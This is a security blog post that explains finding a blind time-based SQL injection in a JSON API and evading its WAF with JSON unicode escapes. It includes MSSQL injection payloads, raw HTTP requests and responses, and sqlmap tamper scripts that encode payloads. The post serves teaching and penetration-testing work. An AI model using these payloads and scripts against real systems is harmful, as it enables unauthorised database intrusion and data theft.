Bypassing WAFs with JSON Unicode Escape Sequences
December 20, 2018
This blog post will discuss how I was able find a blind SQL injection, analyze a WAF, find a JSON unicode escape bypass, and then automate the bypass by writing a sqlmap tamper script.
SQLi Identification
WAF Analysis
Bypass Identification
Tamper Script
SQLi Identification
The particular payload that was used to identify this blind SQLi was the following:
1 |
‘;WAITFOR DELAY ’0:0:5’-- |
If a server is vulnerable, the request will take ~5 seconds longer to respond, as the vulnerable SQL statement is delayed. I originally found my particular vulnerability while fuzzing with Burp Suite, however the payload is found in a variety of lists and tools. This particular injection was in a JSON body of an HTTP request. More specifically, the injection was in a value of a key/value pair of the JSON object, like so:
1 |
{"id":"13269549’;WAITFOR DELAY ’0:0:5’--"} |
After identifying the injection, I excitedly launched sqlmap to automate the exploitation. My favorite way to pivot from Burp Suite to sqlmap is to copy the request to a text file and mark the injection point with a ‘*’ (make sure to remove any existing payloads). So the previous example HTTP body would look like so:
1 |
{"id":"13269549*"} |
Next, I pass the request to sqlmap map like so, where request.txt is the text file I copied the request to:
1 |
sqlmap -r request.txt |
If sqlmap is still having a hard time identifying the injection, you can specify the database management system (–dbms MSSQL), which in this case we know is MSSQL because the “waitfor delay” function is unique to MSSQL. If sqlmap is still having a trouble identifying the injection, we can specify technique (–technique T), which in this case was time based. Sqlmap is an amazing enumeration tool, so it’s worth the effort to get it working.
At this point, sqlmap was seeing my injection, however, it was erroring-out from too many HTTP 444 codes before it could attempt any enumeration. What gives? I ran the same command with -vvvvvvvv (more “v”s the better right?) so that it would show the request and responses. I could have proxied the sqlmap requests into Burp Suite to gain the same insight, but I like to try verbose output first to quickly triage the issue. In this case I saw the following response:
Response:
1 2 3 4 5 6 |
HTTP/1.1 444 Unknown Content-Type: text/html; charset=utf-8 Content-Length: 246 Connection: close <html><h1>Request Rejected</h1><body>The request was rejected. Please consult with your administrator.</body></html> |
The server had a Web Application Firewall (WAF) and it was rejecting the requests. I was able to confirm using wafw00f. 🙁
WAF Analysis
WAFs are essentially proxies that sit between users and servers; they look for and subsequently block traffic that is considered malicious. In order to bypass a WAF, we have to think like a WAF. Let’s start by looking at one of the payloads (simplified) the WAF was catching and understand what it’s doing:
1 |
‘; IF SUBSTRING(@@SERVERNAME,1,1)=’A’ WAITFOR DELAY ‘0:0:5’-- |
This is a classic payload used for time based SQL injection. It attempts to determine a desired piece of information by guessing it one character at a time. In this case, we are trying to enumerate the hostname of the database server. The payload uses “Substring” to grab the first character of @@SERVERNAME, which is the variable used by MSSQL to house the hostname. It then uses “IF” to compare that first character to the letter ‘A’. If it is the letter ‘A’, the request will be delayed 5 seconds. Otherwise it will return immediately. Using this method, sqlmap can send a large sets of requests, each guessing a different character. One request will be delayed, which will identify what the first character is. It then does the next character, and so on and so on.
So we already know that “WAITFOR DELAY” is allowed by the WAF, because it’s how we identified the SQLi and the WAF didn’t catch it then. I loaded the full request with payload into Burp Suite’s repeater. I established a base case, in which the WAF catches the request (444 error), as seen here:
Request:
1 2 3 4 5 6 7 8 |
POST /id HTTP/1.1 Accept: application/json Content-Type: application/json; charset=utf-8 Content-Length: 90 Host: example.com Connection: close {"id":"00453381' IF SUBSTRING(@@SERVERNAME,1,1)='A' WAITFOR DELAY '0:0:5'--"} |
Response:
1 2 3 4 5 6 |
HTTP/1.1 444 Unknown Content-Type: text/html; charset=utf-8 Content-Length: 246 Connection: close <html><head><title>Request Rejected</title></head><body>The requested URL was rejected. Please consult with your administrator.</body></html> |
I then started removing keywords that I think the WAF might consider malicious. The first thing I tried to remove was “Substring” and the server responded with an generic application error (not 444). Bingo! The WAF let the request through to the application server, which had an error in the HTTP body because the SQL syntax was broken with “Substring” removed, as seen below:
Request:
1 2 3 4 5 6 7 8 |
POST /id HTTP/1.1 Accept: application/json Content-Type: application/json; charset=utf-8 Content-Length: 90 Host: example.com Connection: close {"id":"00453381' IF (@@SERVERNAME,1,1)='A' WAITFOR DELAY '0:0:5'--"} |
Response:
1 2 3 4 5 6 |
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 246 Connection: close {“error”:“database error”} |
I now need to somehow obfuscate “Substring” so the WAF can not identify it, but in a way that the application server can still interpret it. Enter sqlmap tamper scripts. Sqlmap itself does no obfuscation of the payload before sending. Tamper scripts are a way to transform the payload before it’s sent. Sqlmap ships with a handful of different ones, as seen in it’s installation directory (/usr/share/sqlmap/tamper in kali) or on its github. I found some recommendations for what scripts to use for MSSQL. I gave them a go, and sure enough they bypassed the WAF, however, they broke the syntax of the SQL and sqlmap’s enumeration couldn’t make heads or tails of it. I tried different combinations of the tamper scripts suggested for MSSQL , but they did not work. Maybe it had something to do with the JSON object? Hmmmmmm.
Bypass Identification
In order to find a bypass that doesn’t break the SQL syntax, my colleague Matt South suggested thinking about what touches the data before it reaches the SQL engine. The first thing I thought of was the webserver, but I did not reach any good results quickly. That’s when the JSON parser came to mind. Something has to break up the JSON object and hand parts of it off to a SQL engine. I took at look at the JSON RFC and found unicode escapes. It mentioned “\u” can be used to specify unicode in HEX within JSON. I went back to Burp Suite’s Repeater and changed “substring” to its JSON unicode escaped representation: “\u0053\u0055\u0042\u0053\u0054\u0052\u0049\u004e\u0047”. It bypassed the WAF and the application did not error, as seen below:
Request:
1 2 3 4 5 6 7 8 |
POST /id HTTP/1.1 Accept: application/json Content-Type: application/json; charset=utf-8 Content-Length: 90 Host: example.com Connection: close {"id":"00453381' IF \u0053\u0055\u0042\u0053\u0054\u0052\u0049\u004e\u0047(@@SERVERNAME,1,1)='H' WAITFOR DELAY '0:0:5'--"} |
Response:
1 2 3 4 5 6 |
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 246 Connection: close {“status”:“not found”} |
Note: The response time was ~5 seconds, which tells us the letter guess (‘H’) was correct!
YES! Next, I sent the request to Burp Suite’s Intruder so that I could quickly try lots of characters. One character was delayed as expected! The bypass works! I manually worked to identify a few more characters of the hostname before I realized doing this by hand was not feasible. I needed to make a tamper script so sqlmap could automate the process.
Tamper Script
Sqlmap’s usage guide provides a template for making a tamper script. The first script I made looked like the following:
1 2 3 4 5 6 |
from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload,**kwargs): retVal = payload.replace("SUBSTRING","\u0053\u0055\u0042\u0053\u0054\u0052\u0049\u004e\u0047") return retVal |
It used python’s string replace functionality to perform the substitution. This script worked great for enumerating the hostname, but as soon as I tried some other enumeration options within sqlmap, the WAF was back to catching things. I went a couple rounds of identifying things the WAF catches, replacing with JSON unicode escaped representation, and rerunning sqlmap only to find the WAF was catching something else. At this point I decided to change my approach from replacing known-caught keywords to just encoding the the entire payload. I wrote the following new script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): line = payload.encode("hex") n=2 groups = [line[i:i+n] for i in range(0, len(line), n)] full = '' for x in groups: full = full + "\u00" + x retVal = full return retVal |
This script converts the entire payload to hex, breaks the block of hex into 2 character sections, and then adds “\u00” to the front of each section. This ultimately converts the entire payload to a JSON unicode escaped representation. The payloads are long and ugly, but from there on out, I had no more problems with the WAF and sqlmap was able to run uninhibited! The following shows what the traffic from sqlmap looks like now that its using my tamper script:
Request:
1 2 3 4 5 6 7 8 |
POST /id HTTP/1.1 Accept: application/json Content-Type: application/json; charset=utf-8 Content-Length: 521 Host: example.com Connection: close {"id":"00453381\u0027\u003B\u0049\u0046\u0028\u0055\u004E\u0049\u0043\u004F\u0044\u0045\u0028\u0053\u0055\u0042\u0053\u0054\u0052\u0049\u004E\u0047\u0028\u0028\u0053\u0045\u004C\u0045\u0043\u0054\u0020\u0049\u0053\u004E\u0055\u004C\u004C\u0028\u0043\u0041\u0053\u0054\u0028\u0047\u0020\u0041\u0053\u0020\u004E\u0056\u0041\u0052\u0043\u0048\u0041\u0052\u0028\u0034\u0030\u0030\u0030\u0029\u0029\u002C\u0043\u0048\u0041\u0052\u0028\u0033\u0032\u0029\u0029\u0020\u0046\u0052\u004F\u004D\u0020\u0028\u0053\u0045\u004C\u0045\u0043\u0054\u0020\u0047\u002C\u0020\u0052\u004F\u0057\u005F\u004E\u0055\u004D\u0042\u0045\u0052\u0028\u0029\u0020\u004F\u0056\u0045\u0052\u0020\u0028\u004F\u0052\u0044\u0045\u0052\u0020\u0042\u0059\u0020\u0028\u0053\u0045\u004C\u0045\u0043\u0054\u0020\u0031\u0029\u0029\u0020\u0041\u0053\u0020\u004C\u0049\u004D\u0049\u0054\u0020\u0046\u0052\u004F\u004D\u0020\u0063\u0061\u0074\u0073\u002E\u0064\u0062\u006F\u002E\u006B\u0069\u0074\u0074\u0065\u006E\u0073\u0029\u0078\u0020\u0057\u0048\u0045\u0052\u0045\u0020\u004C\u0049\u004D\u0049\u0054\u003D\u0031\u0029\u002C\u0031\u002C\u0031\u0029\u0029\u003E\u0038\u0031\u0037\u0032\u0039\u0037\u0029\u0020\u0057\u0041\u0049\u0054\u0046\u004F\u0052\u0020\u0044\u0045\u004C\u0041\u0059\u0020\u0027\u0030\u003A\u0030\u003A\u0032\u0027\u002D\u002D"} |
I have uploaded my tamper script to my github: jsonescape.py
After getting it all working and preparing to write this blog post, I ultimately discovered that an existing tamper script (one that was not suggested for MSSQL, but worked in this case because of the JSON parser) is able to perform the bypass. It is called charunicodeescape.py. However, I regret nothing. Not having the bypass out of the box forced me to try harder and ultimately gave me the experience of analyzing and bypassing a WAF, which I otherwise would not have.
Thanks for reading! I hoped you not only learned a neat WAF bypass, but learned the methodology that goes into finding new and unique bypasses as well!